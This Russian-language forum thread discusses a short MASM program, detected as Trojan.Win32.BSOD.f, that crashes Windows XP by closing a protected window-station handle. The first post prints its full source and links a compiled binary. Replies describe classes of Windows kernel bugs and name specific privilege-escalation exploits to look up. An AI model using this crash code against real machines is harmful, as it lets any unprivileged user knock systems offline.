Сегодня ковырял хрень какую-то, но с интересным детектом аверами - Trojan.Win32.BSOD.f В общем, название не подкачало - оказалось бсодит. Дело вот в чем - бсодит везде, даже из-под гостя. XP SP2. Весь бсодящий код таков: Код (Text): .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .code start: invoke CreateWindowStationW, 0, 0, 0000037Fh, 0 mov esi, eax invoke SetHandleInformation, esi, 2, 2 invoke CloseWindowStation, esi invoke ExitProcess,0 end start Скомпилированный бинарник: http://www.sendspace.com/file/r91sd2 Гугл ничем не помог по этому вопросу( Если не сложно, потестьте на SP3/Vista/7
n0name это как бы понятно. интересовало какие бывают варианты недоучётов в уязвимом коде, т.е. не думаю что бывают дыры только в том случае если не проверил длину вводимого параметра в ф.ю старался выразится как можно приближенней (фак не знаю я как правильно на русском.)
gorodon Уронить ось просто, эксплоит для этого в посте #1(менеджер останавливает ось при закрытии не валидного или защищённого от закрытия ядерного хэндла). Лучше легальные поверапи юзать, более надёжно, гибко и документировано. Вобще новостные ленты наверно читают все. Толпа юзеров у которых по какимто невиданным причинам падает ось ломятся на форумы с вопросами что это и в чём причина. Гугл помогает отсеять новые сообщения, наиболее интересны ошибки в драйверах приводящих к останову с кодом IRQL_NOT_LESS_OR_EQUAL(,,1,).
gorodon Эксплоит в смысле для повышения привилегий? Очевидно, нет. А если не такой, то какой? sometime Много недочётов. Основные: - строковые функции неправильно контролируют длину, так что возможна запись части символов после конца буффера (даже в случае, если в результате ошибки перезаписывается только нулевой байт конца строки, возможна атака класса 'однобайтовое переполнение') - функции, принимающие в качестве параметра адрес или число, которое участвует в арифметических операциях с адресов, и пишущие что-либо по этому адресу не контролируют параметры и возможна запись какого-либо значения по произвольному адресу. значение может быть как контролируемое, так и нет (чаще всего встречается запись нуля куда-либо, смотри в гугле сплоиты с ключевыми словами NtQueryIntervalProfile NtAllocateVirtualMemory; так же сюда относятся и ядерные эксплоиты, где неверно вызывается ProbeForWrite, например эксплоит в NtUserFnOUTSTRING) - race condition (условие гонки): функция больше одного раза обращается по адресу входного параметра, переданного как аргумент, в следствие чего возможен вариант, когда значение по этому адресу подменяется в параллельном потоке между чтениями и функция выполняется неверно ("гонкой" называется потому, что каждый поток стремится первым обратиться к ячейке памяти) - сюда, например, относится одна из уязвимостей в win32k и другие, не вспомню сейчас всех.